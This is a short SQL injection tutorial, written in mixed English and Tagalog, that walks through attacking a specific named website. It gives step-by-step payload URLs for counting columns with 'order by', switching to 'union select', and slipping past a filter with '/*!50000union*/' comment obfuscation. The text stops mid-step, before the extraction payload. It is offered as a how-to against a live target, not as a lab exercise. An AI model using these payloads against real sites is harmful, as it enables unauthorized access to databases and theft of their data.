An SQL injection is a computer attack in which malicious code is embedded in a poorly-designed application and then passed to the backend database.
The malicious data then produces database query results or actions that should never have been executed
1. Need Target Site
Example:
http://www.tacc.co.il/story.php?id=9
2. Titignan natin kung ilang columns Meron sya
Example:
http://www.tacc.co.il/story.php?id=9 order by 10-- - (error)
http://www.tacc.co.il/story.php?id=9 order by 9-- - (error)
http://www.tacc.co.il/story.php?id=9 order by 8-- - (no error)
so meron syang 8 columns .. ganun din gagawin nyu sa ibang sites..
If Wala paring error pagdating sa highest number kunwari 100 wala paring error add ' sa dulo
then ulitin mo yung pag order sa kanya like this
Example:
http://www.tacc.co.il/story.php?id=9' order by 10-- -
3. Palitan nyu yung order by sa union select at kung hanggang saan sya hindi nag error.
diba 8 columns sya .. Dont forget to add - bago mag number
so ganito gagawin mo .
Example:
http://www.tacc.co.il/story.php?id=-9 union select 1,2,3,4,5,6,7,8-- -
May nakita kayung error diba ..? Not Acceptable ..
ganito yan palitan nyo yung union ng ganito /*!50000union*/
Example:
http://www.tacc.co.il/story.php?id=-9 /*!50000union*/ select 1,2,3,4,5,6,7,8-- -
May nakita na kayung number diba? so 2 gagamitin natin .. ayun sa number na lumabas..
tatanggalin nyo yung 2 then palitan nyo sya ng code na to..
